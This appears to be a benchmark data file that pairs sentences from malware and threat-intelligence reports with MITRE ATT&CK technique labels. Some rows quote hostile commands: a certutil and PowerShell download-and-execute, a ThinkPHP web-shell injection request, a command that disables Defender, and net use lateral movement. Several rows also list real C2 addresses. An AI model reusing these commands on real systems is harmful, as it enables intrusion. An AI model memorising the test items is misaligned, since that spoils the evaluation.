"Building a client    Build configuration Usage scenario Description     Debug configuration Testing The pre-defined Settings.cs will be used, so edit this file before compiling the client","['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1027 - Obfuscated Files or Information']",golden
"Command  Action    sign  Requests system information    settings  Requests settings from C2 server    logs  Uploads harvested passwords    wallet  Uploads harvested cryptocurrency wallet data    proxy  Indicates SOCKS proxy port opened    miner  Cryptocurrency miner commands    error  Reports errors to C2 server    ddos  DDoS attack commands    Table 1: Zyklon accepted commands The following figures show the initial request and subsequent server response for the “settings” (Figure 13), “sign” (Figure 14), and “ddos” (Figure 15) commands","['T1090 - Proxy', 'T1059 - Command and Scripting Interpreter']",golden
"Command Description   search Searches for corresponding files   search&upload Encrypts and adds the corresponding files to the upload directory with the provided name   uploadfile Encrypts and adds the specified file to the upload directory with the provided name   uploadfolder Encrypts and adds the mentioned directory to the upload directory with the provided name   shellexecute Silently executes received command with cmd.exe   wmic Silently executes received command with wmic.exe (for WMI commands)   sendIEPass Encrypts and adds all gathered browser data into files for upload to C2   uninstall Removes files, directory and BITS tasks    Cryptography To decrypt the configuration data, the malware uses XOR with 25-character keys such as “waEHleblxiQjoxFJQaIMLdHKz” that are different for every sample","['T1047 - Windows Management Instrumentation', 'T1070.006 - Indicator Removal on Host: Timestomp', 'T1036 - Masquerading', 'T1083 - File and Directory Discovery', 'T1074 - Data Staged', 'T1486 - Data Encrypted for Impact']",golden
Command Hash   Command Name   Description    0x0AA37987  loadconfig  Runs each command specified in the configuration file (see the Configuration section),"['T1070.006 - Indicator Removal on Host: Timestomp', 'T1016 - System Network Configuration Discovery']",golden
"Comnie, first named by Sophos seemingly after the Windows LNK file name it created, is a custom malware family that is used in targeted attacks, and has been observed in the wild since at least April 2013","['T1036 - Masquerading', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",golden
"Creates the service file /usr/lib/systemd/system/rsyncd.service [Unit]Description= synchronize and backup service.After=syslog.target [Service].ExecStart=/bin/rsyncd.OOMScoreAdjust=-500 [Install].WantedBy=multi-user.target Then it installs the service by executing the following commands: ln -s '/lib/systemd/system/rsyncd.service' '/etc/systemd/system/multi-user.target.wants /rsyncd.service' systemctl daemon-reload  The running systemd process determines, which option will be used to register the Trojan in autorun","['T1007 - System Service Discovery', 'T1543.003 - Create or Modify System Process: Windows Service', 'T1021 - Remote Services', 'T1102 - Web Service', 'T1569.002 - System Services: Service Execution']",golden
"Deletion of all registry keys associated with the extraction of the SFX RAR Deletion of the User Assist Key entries related to applications that have been recently executed Deletion of all registry keys relating to services that have recently run  Clearly the attacker using this PlugX is paranoid about it being detected on disk, both in the registry and the file system","['T1112 - Modify Registry', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1012 - Query Registry']",golden
Encrypted backdoor configuration    Description Decryption Strings   Check code MDDEFGEGETGIZ   Addr1: tel.qpoe[.]com   Addr2: elderscrolls.wikaba[.]com   Addr3: tel.qpoe[.]com   Port1: 443   Port2: 443   Port3: 53   LoginPasswd: someone   HostMark: mark   Proxy: 0    Figure 12,"['T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information', 'T1043 - Commonly Used Port']",golden
"Exploit Analysis  Despite being an older vulnerability, many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word","['T1068 - Exploitation for Privilege Escalation', 'T1203 - Exploitation for Client Execution']",golden
"Exploits  CVE-2017-0143, SMB exploit CVE-2017-0146, SMB exploit  These 2 exploits are EternalBlue/Doublepulsar and are used to drop the Stage1 Dropper onto a system.  Installation The Gh0stRAT dropper arrives on a PC through the use of EternalBlue/DoublePulsar.  Once on a victim’s PC, the dropper executable is launched and it decrypts and loads the Gh0stRAT DLL into memory.  It then passes the config buffer to the extracted DLL and calls the exported function (Shellex)  [Screenshot 2] The mainthread of the code.  Note the call at the bottom that calls Shellex Gh0stRAT dll functionality An important note:  In its base state, this sample is damaged, therefore it will not install its services properly.  However, as the service information is included, I will list it anyways.  Additionally, samples downloaded from its distribution server DO install correctly,  and are downloaded during the base dll’s runtime","['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading', 'T1203 - Exploitation for Client Execution']",golden
Figure 12: DrAGon_MidDLe stores the list of proxy URLs used to interact with C2 server Section 2 The second section of the PowerShell script has the ability to perform encryption and decryption of messages that are exchanged between the system and the C2 server,"['T1573 - Encrypted Channel', 'T1090 - Proxy']",golden
"Figure 2: APT39 attack lifecycle There are some indications that APT39 demonstrated a penchant for operational security to bypass detection efforts by network defenders, including the use of a modified version of Mimikatz that was repacked to thwart anti-virus detection in one case, as well as another instance when after gaining initial access APT39 performed credential harvesting outside of a compromised entity's environment to avoid detection","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1027.002 - Obfuscated Files or Information: Software Packing']",golden
"The ‘Company’ field in this case, contains the raw command that the attacker wishes to run, downloading and executing the next stage of the malware. Delivery via HTA Loader. In this case the attackers sent an HTML Application file (.hta) to targets most likely as an email attachment","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1106 - Native API', 'T1010 - Application Window Discovery', 'T1074 - Data Staged', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",golden
"Figure 4: Execution Workflow Section of v.vbs After successful execution of the steps mentioned in the Execution Workflow section, the Task Scheduler will launch GoogleUpdateschecker.vbs every minute, which in turn executes the dUpdateCheckers.ps1 and hUpdateCheckers.ps1 scripts","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1106 - Native API', 'T1064 - Scripting']",golden
"Figure 8 CARROTBAT downloading final payload via certutil   The downloaded CAB file has the following properties:    MD5 a943e196b83c4acd9c5ce13e4c43b4f4   SHA1 e66e416f300c7efb90c383a7630c9cfe901ff9fd   SHA256 cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62   File Type Microsoft Cabinet archive data, 181248 bytes, 3 files      The following three files and their descriptions are dropped by this CAB file:      Filename Purpose   Install.bat Installation batch script responsible for copying the other files to C:\Users\Public\Downloads and setting the Run registry key to ensure persistence","['T1036 - Masquerading', 'T1083 - File and Directory Discovery', 'T1064 - Scripting', 'T1105 - Ingress Tool Transfer']",golden
Figures 8 and 9: LiteHTTP screenshots taken from the user`s profile in which the acronym “Knock” appears Conclusion SpeakUp`s obfuscated payloads and propagation technique is beyond any doubt the work of a bigger threat in the making,"['T1113 - Screen Capture', 'T1027 - Obfuscated Files or Information']",golden
"First, we had not seen the CPU fan check used before, and upon testing the WMI query in a VMware Windows 7 virtual machine we saw no result, as seen in Figure 1  Figure 1 WMI query for the Win32_Fan class on a VM returning no statistics However, when we ran the same query in a physical system running Windows 7, we saw the contents of the Win32_Fan class, as seen in Figure 2","['T1047 - Windows Management Instrumentation', 'T1497 - Virtualization/Sandbox Evasion']",golden
"For example, we can see it will inject itself to one these three processes:  %ProgramFiles(x86)%\Sophos\AutoUpdate\ALUpdate.exe %ProgramFiles(x86)%\Common Files\Java\Java Update\jusched.exe %ProgramFiles(x86)%\Common Files\Adobe\ARM\1.0\armsvc.exe  The attempt to inject itself into a process belonging to antivirus product suite is particularly bold","['T1036 - Masquerading', 'T1055 - Process Injection']",golden
"For instance, the following 15 bytes were used to generate an HTTP parameter during our analysis:    Random Value Constant Value agent_id   0F EE C8 83 56 0E 9F F0 EB 98 43 30 30 30 30    The resulting ciphertext is then encoded using XAgent’s base64 encoding routine that starts by building the following encoding alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_ As you can see, this is not the standard base64 alphabet, rather it is the “URL and Filename safe” Base 64 Alphabet from RFC 4648, as the “+” in the standard alphabet is replaced with “-” and the “/” replaced with “_”","['T1027 - Obfuscated Files or Information', 'T1132 - Data Encoding']",golden
"GET /<string>/<5 digit number>/<4 character string>.php?<first 3 characters of last string>_id=<43 character string>= HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Host: <C2 Location> Cache-Control: no-cache    Figure 6: Sample GET request for WATERSPOUT backdoor Although there are no current infrastructure ties to link this backdoor to APT12, there are several data points that show a possible tie to the same actors:  Same initial delivery method (spear phishing email) with a Microsoft Word Document exploiting CVE-2012-0158","['T1010 - Application Window Discovery', 'T1008 - Fallback Channels']",golden
"HawkEye offers the following exfiltration options based on the configuration: email, FTP, SFTP, HTTP POST to PanelURL API or ProxyURL.As mentioned above, in the comments of the main loop section, it also comes with several anti-analysis features, including starting an anti-debugging thread or disabling certain AV-related programs via the Image File Execution Options (IFEO) evasion technique by registering invalid debuggers that redirect and effectively disable various system and security applications.The following diagram summarizes the full infection process:ConclusionRecent changes in both the ownership and development efforts of the HawkEye Reborn keylogger/stealer demonstrate that this is a threat that will continue to experience ongoing development and improvement moving forward","['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1071 - Application Layer Protocol']",golden
"Hijack Clipboard Bitcoin Address Zyklon has the ability to hijack the clipboard, and replaces the user’s copied bitcoin address with an address served up by the actor’s control server","['T1115 - Clipboard Data', 'T1016 - System Network Configuration Discovery']",golden
If running with administrator privileges on a 32-bit host:  Copy the temporary DLL in %TEMP% to %WINDOWS%\LINKINFO.dll   Otherwise:  Copy the temporary DLL in %TEMP% to %APPDATA%\cnagnt.dll Delete the temporary DLL in %TEMP% Write a ‘Conime.lnk’ file in the user’s startup path,"['T1055 - Process Injection', 'T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",golden
"In each iteration of the communications loop, the Trojan will check to see if the modification time of the first file changed, and if it is not updated the Trojan will update the second file by writing the string b<unique identifier>c<5 random lowercase characters>.<C2 domain> to the file by creating an HTTP POST request to a URL structured as follows: <Google Drive URL in ‘gdue’> + <second file identifier> + “?supportsTeamDrive=true&uploadType=resumable&fields=kind,id,name,mimeType,parents” In one RogueRobin sample (SHA256: f1b2bc0831…), the author did not use the Google Drive URL provided by the actor when issuing the x_mode command, and instead included a  hardcoded Google Drive URL, as seen in Figure 6","['T1102 - Web Service', 'T1105 - Ingress Tool Transfer']",golden
"In most lures, one scheduled task persisted an APT32-specific backdoor and the other scheduled task initialized a commercially-available backdoor as backup","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1036 - Masquerading']",golden
"It can be used to execute files as a different user, move, and delete files locally, schedule remote AT jobs, perform host discovery on connected networks, scan for open ports on hosts in a connected network, and retrieve information about the OS, users, groups, and shares on remote hosts","['T1087 - Account Discovery', 'T1046 - Network Service Discovery']",golden
"It has the following command line argument help: info  <Server/Domain> [options] [options]:   -d Domain   -o OsInfo   -t TsInfo   -n NetuseInfo   -s ShareInfo ShareDir   -c Connect Test   -a Local And Global Group User Info   -l Local Group User Info   -g Global Group User Info   -ga Group Administrators   -gp Group Power Users   -gd Group Domain Admins   -f <infile> //input server list from infile, OneServerOneLine info <\\server> <user> ChromePass: A tool from NirSoft used for recovering passwords stored in the Chrome browser","['T1069 - Permission Groups Discovery', 'T1087 - Account Discovery']",golden
"It then uses the base64 encoding function with this alphabet to encode the data, which in the above case resulted in: D-7Ig1ngV3PkdouzP974 The Trojan then creates a string of 9 random symbols and appends the encoded ciphertext to this random string","['T1573 - Encrypted Channel', 'T1027 - Obfuscated Files or Information', 'T1132 - Data Encoding']",golden
"Once connectivity to the service provider IP was verified, the actor established the service provider IP as a proxy for the victim’s SOGU backdoor","['T1543.003 - Create or Modify System Process: Windows Service', 'T1016 - System Network Configuration Discovery', 'T1090 - Proxy']",golden
"Once Shellex is called, it first passes each of the items in the config buffer to their own strings.  Next, it creates a mutex using the filename and checks to see if the Service key for the service name exists.  If so, it opens it using service manager.  If not, it first saves a copy of itself to %Program Files (x86)%/DIFXE/svchost.exe.  Next, it creates the service and runs it.  Once the service is running, it creates a new mutex using [C2URL]:[PORT] and connects to the C2 server.  It then sends the Implant_Heartbeat opcode, and then calls its payload function to grab  Version Information (x86 and x64) Host information SystemInfo Processor Count and Write Speed Global Memory Status  before formatting it, altering the InstallTime subkey, and sending all of the information back to its C2 in the Implant_Login buffer","['T1082 - System Information Discovery', 'T1543.003 - Create or Modify System Process: Windows Service', 'T1569.002 - System Services: Service Execution']",golden
"Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails","['T1071 - Application Layer Protocol', 'T1008 - Fallback Channels']",golden
"One sample in particular, cba5ab65a… used yet another unique user agent string in combination with the previous user agent for its C2: Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1 A malware sample using two separate unique user agent strings is uncommon","['T1033 - System Owner/User Discovery', 'T1543.001 - Create or Modify System Process: Launch Agent']",golden
"Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter <>:[command]<>[parameters for command in hexadecimal format] The available commands are: Command Description 1 Run command 2 Upload a file 3 Download a specified file   The parameters for each command are issued in hexadecimal format","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1016 - System Network Configuration Discovery', 'T1059 - Command and Scripting Interpreter', 'T1105 - Ingress Tool Transfer']",golden
Palo Alto Networks customers are protected from this OilRig attack campaign and OopsIE by:  AutoFocus customers can track this Trojan with the OopsIE tag All known OopsIE samples are marked with malicious verdicts in WildFire All known OopsIE C2 domains have DNS signatures and are classified as Command and Control    Indicators of Compromise OopsIE Trojan 36e66597a3ff808acf9b3ed9bc93a33a027678b1e262707682a2fd1de7731e23 055b7607848777634b2b17a5c51da7949829ff88084c3cb30bcb3e58aae5d8e9 6b240178eedba4ebc9f1c8b56bac02676ce896e609577f4fb64fa977d67c0761 9e8ec04e534db1e714159cc68891be454c2459f179ab1df27d7f89d2b6793b17  OopsIE C2 defender-update[.]com windowspatch[.]com The post OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE appeared first on Palo Alto Networks Blog,"['T1071 - Application Layer Protocol', 'T1008 - Fallback Channels']",golden
Query attempts to detect VirtualBox environment from the win32_BIOS WMI class.   Query attempts to detect Bochs environment from the win32_BIOS WMI class.   Query attempts to detect QEMU environment from the win32_BIOS WMI class.   Query attempts to detect VirtualBox environment from the win32_BIOS WMI class.   Query attempts to detect VMWare environment from the win32_BIOS WMI class.   Query attempts to detect Xen environment from the win32_BIOS WMI class.   Uses this query to check the system information for the string “VMware”,['T1047 - Windows Management Instrumentation'],golden
"Russia Ukraine Poland Lithuania Belarus Azerbaijan Kyrgyzstan Kazakhstan Iran Israel Turkey Libya Kuwait Taiwan Vietnam India Croatia Germany Belgium Sweden  Victim profiles point to an expansive interest in ICS:  power generation site owners power facilities construction power generation operators large suppliers and manufacturers of heavy power related materials investors  However, we also noticed that the target list includes government, property holding, and technology organizations as well:  high level government other ICS construction federal land holding agencies municipal offices federal emergency services space and earth measurement and assessment labs national standards body banks high-tech transportation academic research  Victim cases We gained insight into significant BE2 victim profiles over the summer of 2014","['T1007 - System Service Discovery', 'T1083 - File and Directory Discovery']",golden
"Several Mandiant investigations revealed that, after gaining access, APT32 regularly cleared select event log entries and heavily obfuscated their PowerShell-based tools and shellcode loaders with Daniel Bohannon’s Invoke-Obfuscation framework","['T1070 - Indicator Removal on Host', 'T1027 - Obfuscated Files or Information']",golden
Socks5 Proxy Zyklon features the ability to establish a reverse Socks5 proxy server on infected host machines,"['T1016 - System Network Configuration Discovery', 'T1090 - Proxy']",golden
"Stage 1 sample file: 3amadi_hamas.zip MD5: e686ffa90b2bfb567547f1c0dad1ae0b Type: Compressed container Child file/lure name: محضر اجتماع العمادي مع هنية رئيس حماس امس الاحد .exe Child file/lure MD5: 92dd0f16e8ae274d83ba1d0d5b2e342  This sample ZIP file, which is similar to many other stage 1 downloaders in this campaign, contains an executable that is a compiled AutoIt script and which embeds some interesting functions (listed in the table below)","['T1036 - Masquerading', 'T1083 - File and Directory Discovery', 'T1074 - Data Staged']",golden
Takes screenshots when recording VoiceIP app audio,"['T1113 - Screen Capture', 'T1123 - Audio Capture']",golden
"The adversaries can get detailed information about the victim's machine, as you can see in the screenshot below.Beside the system information, it steals passwords from common web browsers, Filezilla, Beyluxe Messenger, CoreFTP and the video game ""Minecraft."" It also starts a keylogger, steals clipboard content, takes screenshots from the desktop and pictures from the webcam","['T1113 - Screen Capture', 'T1003 - OS Credential Dumping', 'T1082 - System Information Discovery', 'T1125 - Video Capture']",golden
The built-in Windows utility rundll32.exe is then used to load this DLL by the original .lnk file,"['T1218.011 - Signed Binary Proxy Execution: Rundll32', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",golden
"The DDE instructions attempt to run the following the following command on the victim host, which attempts to download and execute a payload from a remote server:       C:\\Programs\\Microsoft\\MSOffice\\Word.exe\\..\\..\\..\\..\\Windows\\System32\\rundll32.exeC:\\Windows\\System32\\shell32.dll,ShellExec_RunDLLC:\\Windows\\System32\\cmd.exe /k certutil -urlcache -split -fhxxp://220.158.216[.]127/MScertificate.exe & MScertificate.exe""     During our analysis, we observed this DDE downloading and executing a Zebrocy AutoIt downloader (f27836430…), configured to attempt to download an additional payload from 220.158.216[.]127","['T1036 - Masquerading', 'T1105 - Ingress Tool Transfer']",golden
"The exploitation is issued in three steps:  Exploiting CVE-2018-20062 for uploading a PHP shell  Using a GET request, a remote command execution vulnerability in ThinkPHP (CVE-2018-20062) is sent to the targeted server, as shown below: s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<? php $action = $_GET[‘module’];system($action);? ^>>index.php This shell executes commands sent via the “module” parameter in a query","['T1059 - Command and Scripting Interpreter', 'T1203 - Exploitation for Client Execution']",golden
"The fact that the actor used Metasploit shellcode within the Unicorn generated PowerShell script leads us to speculate that the ultimate payload of this attack is Meterpreter, which is a shellcode-based payload","['T1064 - Scripting', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",golden
"The file will be inflated in order to retrieve a RTF document, this document will be displayed to the infected user by executing Wordpad.Here is the PDB path from the PoohMilk sample:E:\BIG_POOH\Project\milk\Release\milk.pdbFreenki SampleThe purpose of Freenki is to collect information on the infected system and to download a third executable","['T1082 - System Information Discovery', 'T1105 - Ingress Tool Transfer']",golden
The full obfuscated command inside the .lnk file,"['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1027 - Obfuscated Files or Information']",golden
"The keylogger will monitor for active application windows and write them to the log in the following format: <span class=’keylog_process’>[Application Name]</span> The keylogger will log a configurable amount of keystrokes (default 50) before sending the log to the C2 server using the following format: <span class=’keylog_user_keys’>[logged keystrokes]</span> The keylogger can handle logging special keys, such as return and the function keys and will report those within the log in the following format; <span class=’keylog_spec_key’>[special character]</span> Infrastructure The XAgentOSX sample we analyzed was configured to use the following IP address and domain names as its C2 servers: 23.227.196[.]215 apple-iclods[.]org apple-checker[.]org apple-uptoday[.]org apple-search[.]info When we analyzed this sample, the domain names that were used as backup C2 locations were not registered; therefore, these domains did not provide any links to additional infrastructure","['T1573 - Encrypted Channel', 'T1056 - Input Capture']",golden
"The macro performs all of these activities with the following command:cmd /c taskkill /f /im winword.exe&taskkill /f /im Excel.exe&taskkill  /f /im MSPUB.exe&taskkill /f /im POWERPNT.EXE&taskkill /f /im  MSASCuiL.exe&taskkill /f /im MpCmdRun.exe&cd """"%ProgramFiles%\Windows  Defender"""" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exitThe macro also attempts to deactivate security mechanisms within Microsoft Office products by modifying the registry","['T1055.012 - Process Injection: Process Hollowing', 'T1036 - Masquerading', 'T1112 - Modify Registry']",golden
"The mechanism for downloading additional components is based on the Computer Name and UserName of the endpoint provided by the malware process to the control server in the following HTTP GET request: GET http://ink[dot]inkboom.co.kr/host/img/jpg/download.php?filename=<Computer_Name>_<username>&continue=dnsadmin After successfully retrieving the component from the control server, the next-stage payload is copied to the Application Data directory of the current user and executed: C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\hupdate.ex (note “ex,” not “exe”)  The capability to download additional components from the control server","['T1033 - System Owner/User Discovery', 'T1105 - Ingress Tool Transfer']",golden
The plugin URL is stored in file in following format:  /plugin/index.php?plugin=<Plugin_Name>  The following plugins are found in the memory of the Zyklon malware:  /plugin/index.php?plugin=cuda /plugin/index.php?plugin=minerd /plugin/index.php?plugin=sgminer /plugin/index.php?plugin=socks /plugin/index.php?plugin=tor /plugin/index.php?plugin=games /plugin/index.php?plugin=software /plugin/index.php?plugin=ftp /plugin/index.php?plugin=email /plugin/index.php?plugin=browser  The downloaded plugins are injected into: Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,"['T1027.002 - Obfuscated Files or Information: Software Packing', 'T1068 - Exploitation for Privilege Escalation']",golden
The Trojan will respond to the C2 to notify it of a successful upload by sending a URL structured as follows:http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(“File Uploaded”)> The download command (3) reads the contents of a specified file and sends the data to the C2 server,"['T1071 - Application Layer Protocol', 'T1105 - Ingress Tool Transfer']",golden
The Trojan will respond to the C2 with “PRIVMSG <username> : <message> [<specified path>]”,['T1033 - System Owner/User Discovery'],golden
"The webpage contained both CVE-2014-6332 exploit code and a VBScript that invoked PowerShell on the affected users’ system to download the below payload:     function runmumaa()     On Error Resume Next     set shell=createobject(""Shell.Application"")     shell.ShellExecute ""powershell.exe"",""-NoLogo -NoProfile                 -NonInteractive -WindowStyle Hidden ( New-Object                         “System.Net.WebClient”).DownloadFile(“http://www.playboysplus.com        /install/install.exe”,”install.exe”);Invoke-Item install.exe"", """",         ""open"", 1     end function The CVE-2014-6332 exploit code seen in this incident is derived from the code published at http://www.exploit-db.com/exploits/35230/, which has also been incorporated in the Metasploit project","['T1055.012 - Process Injection: Process Hollowing', 'T1036 - Masquerading', 'T1068 - Exploitation for Privilege Escalation']",golden
"The webshell will iterate through the IP list and perform a series of commands for each IP, starting off with using the following command to connect to the remote system: net use [IP address] /user:[domain admin username] [domain admin password] 2>&1 After connecting to the remote system with net use, the webshell will run the following command to obtain a list of user folders: dir /b [IP address]\c$\Users 2>&1 With a list of user folders, the webshell will iterate through the list of users and enumerate all of the files in the following folders: [IP address]\c$\Users\[username]\Desktop [IP address]\c$\Users\[username]\Documents [IP address]\c$\Users\[username]\Downloads The Network Downloader function will gather all the files in these folders and use 7-Zip to compress and archive the files","['T1033 - System Owner/User Discovery', 'T1016 - System Network Configuration Discovery', 'T1087 - Account Discovery', 'T1204 - User Execution']",golden
"They consist mainly of persistence mechanisms and simple instructions despite their different forms (VBS scripts, PowerShell scripts, known software with open source code that can be backdoored, and in-house built dotnet apps)","['T1064 - Scripting', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",golden
"They utilised Windows commands in order to enumerate and conduct reconnaissance activities such as tasklist.exe, ping.exe, netstat.exe, net.exe, systeminfo.exe, ipconfig.exe and bcp.exe","['T1055.012 - Process Injection: Process Hollowing', 'T1036 - Masquerading']",golden
"This version of HALFBAKED connects to the following C2 server: hxxp://198[.]100.119.6:80/cd hxxp://198[.]100.119.6:443/cd hxxp://198[.]100.119.6:8080/cd This version of HALFBAKED listens for the following commands from the C2 server:  info: Sends victim machine information (OS, Processor, BIOS and running processes) using WMI queries processList: Send list of process running screenshot: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1) runvbs: Executes a VB script runexe: Executes EXE file runps1: Executes PowerShell script delete: Delete the specified file update: Update the specified file  All communication between the backdoor and attacker C2 are encoded using the following technique, represented in pseudo code: Function send_data(data)                 random_string = custom_function_to_generate_random_string()                 encoded_data = URLEncode(SimpleEncrypt(data))                 post_data(""POST”, random_string & ""="" & encoded_data, Hard_coded_c2_url, Create_Random_Url(class_id)) The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information based on our investigations of a variety of topics discussed in this post, including FIN7 and the HALFBAKED backdoor","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1041 - Exfiltration Over C2 Channel']",golden
UAC bypass via DLL hijacking requires:  A Windows executable with the auto-elevate property in its manifest A Windows executable in a secure directory (%systemroot%\system32)  The malicious NTWDBLIB DLL performs the simple task of setting up the malicious ipnet.dll as a service by running one of the two batch files contained in the CAB file (which is also dropped to %systemroot%\system32):  NTWDBLIB executing the installer batch files under the context of cliconfg.exe.  The batch files involved in the attack modify the system service COMSysApp to load the malicious ipnet.dll,"['T1055 - Process Injection', 'T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control']",golden
"We are not sure if this works, but the command name would suggest it is meant to take a screenshot   $command Runs a PowerShell command and sends the output to the C2   slp:\d+ Sets the sleep interval between C2 beacons   $testmode Issues DNS queries of A, AAAA, AC, CNAME, MX, TXT, SRV and SOA types to the C2 servers attempting to determine which DNS query types were successful","['T1071 - Application Layer Protocol', 'T1571 - Non-Standard Port', 'T1008 - Fallback Channels', 'T1043 - Commonly Used Port']",golden
"When macros are enabled and run, the macro within the Word document searches the sections of the document to get the contents of the header using the following piece of code:       Set rng = ActiveDocument.Sections(intSection).Headers(1).Range     The code above obtains the contents of the header, which the macro will write to a file at C:\programdata\Office365DCOMCheck.ps1","['T1140 - Deobfuscate/Decode Files or Information', 'T1083 - File and Directory Discovery', 'T1204 - User Execution']",golden
"Remexi boasts features that allow it to gather keystrokes, take screenshots of windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remote commands","['T1056.001 - Input Capture: Keylogging', 'T1113 - Screen Capture']",eval_config
"Spam seems to be the sole distribution method for Grandoreiro. The spam emails appear to contain a link pointing to a website offering fake Flash or Java updates (see Figure 5). Notice the red arrow in lower left corner tailored for the Google Chrome web browser, but displayed in other browsers too. We have seen Grandoreiro abusing the fear around COVID-19 as well (see Figure 6), as we already announced on our @ESETresearch Twitter account",['T1036.005 - Masquerading: Match Legitimate Name or Location'],eval_config
"Asterisk (*): Use the asterisk as a substitute for any string of characters, for example: dir *.txt lists all files in the current directory with extensions that begin with .txt, such as .txt, .txt1, .txt_old. dir read*.txt lists all files in the current directory that begin with ""read"" and with extensions that begin with .txt, such as .txt, .txt1, or .txt_old. However, typing dir t97* returns both files, because the asterisk wildcard matches the file t.txt2 to t97.txt by using its short name map T97B4~1.TXT. dir *.txt lists all files in the current directory with extensions that begin with .txt, such as .txt, .txt1, .txt_old. dir read*.txt lists all files in the current directory that begin with ""read"" and with extensions that begin with .txt, such as .txt, .txt1, or .txt_old. For example, if you use /o with the e and -s values for SortOrder (by using either /o:e-s or /oe-s), dir sorts the names of directories and files by extension, with the largest first, and then displays the final result. The alphabetic sorting by extension causes file names with no extensions to appear first, then directory names, and then file names with extensions. Using redirection symbols and pipes When you use the redirection symbol (&gt;) to send dir output to a file or a pipe (||) to send dir output to another command, use /a:-d and /b to list the file names only. You can use FileName with /b and /s to specify that dir is to search the current directory and its subdirectories for all file names that match FileName. Dir lists only the drive letter, directory name, file name, and file name extension (one path per line), for each file name it finds",['T1083 - File and Directory Discovery'],eval_config
"To gain initial access a target network, GALLIUM locates and exploits internet-facing services such as web servers. GALLIUM has been observed exploiting unpatched web services, such as WildFly/JBoss, for which exploits are widely available. Compromising a web server gives GALLIUM a foothold in the victim network that doesn’t require user interaction, such as traditional delivery methods like phishing","['T1136.002 - Create Account: Domain Account', 'T1190 - Exploit Public-Facing Application']",eval_config
"One of the documents spreads what analysts are calling SQLRat, previously unseen malware that drops files and executes SQL scripts on the host system. The use of SQL scripts is ingenious in that they don’t leave artifacts behind the way traditional malware does. This technique has not been observed in previous campaigns associated with FIN7","['T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1059 - Command and Scripting Interpreter', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",eval_config
"One such group is the infamous FIN7 known for its APT attacks on various organisations around the globe. Recently they developed Lizar (formerly known as Tirion), a toolkit for reconnaissance and getting a foothold inside infected systems. Disguised as a legitimate cybersecurity company, the group distributes Lizar as a pentesting tool for Windows networks",['T1106 - Native API'],eval_config
"Once Torisma is decoded from Base64 the implant is further encrypted using an AES key and compressed. The server-side ASP page does not contain any logic to decrypt the Torisma implant itself, rather it relies on decryption logic contained within the first stage implant",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"Then extract resource named as ""_7z"", and decompress it with lzma.dll to get the Imminent Monitor RAT (MD5: 4fd291e3319eb3433d91ee24cc39102e",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"The ‘md5_key’ argument in the function above is the MD5 hash of the previously defined ‘H7sVBirLvGwVfLSLSeI2’ string that was contained within Cardinal RAT’s embedded configuration. Now that we know how to decrypt the data, we can look at the previously shown PCAP data and determine what is being sent. The first message decrypts to the following",['T1140 - Deobfuscate/Decode Files or Information'],eval_config
"Table 1 shows an overview of the compromised websites used as watering holes, infected JavaScript URLs, and SMB URLs used to collect NTLM hashes",['T1059.007 - Command and Scripting Interpreter: JavaScript'],eval_config
"On the other hand, attackers can choose off-the-shelf tools such as the ones described, which can serve their purposes equally well if they are disguised. We choose to cover these campaigns to showcase the breadth of TTPs required for successful targeted attacks, ranging from proper reconnaissance all the way to delivery of the final payload through several intermediate infection stages. The TTPs we observed over the past two months are consistent with the previous activity of the so-called Cobalt Group. However, we have found some payloads that contain a message for researchers stating that the attackers are not the Cobalt group, which may indicate that the attacks are conducted by different actors despite the commonalities in TTPs",['T1070.004 - Indicator Removal on Host: File Deletion'],eval_config
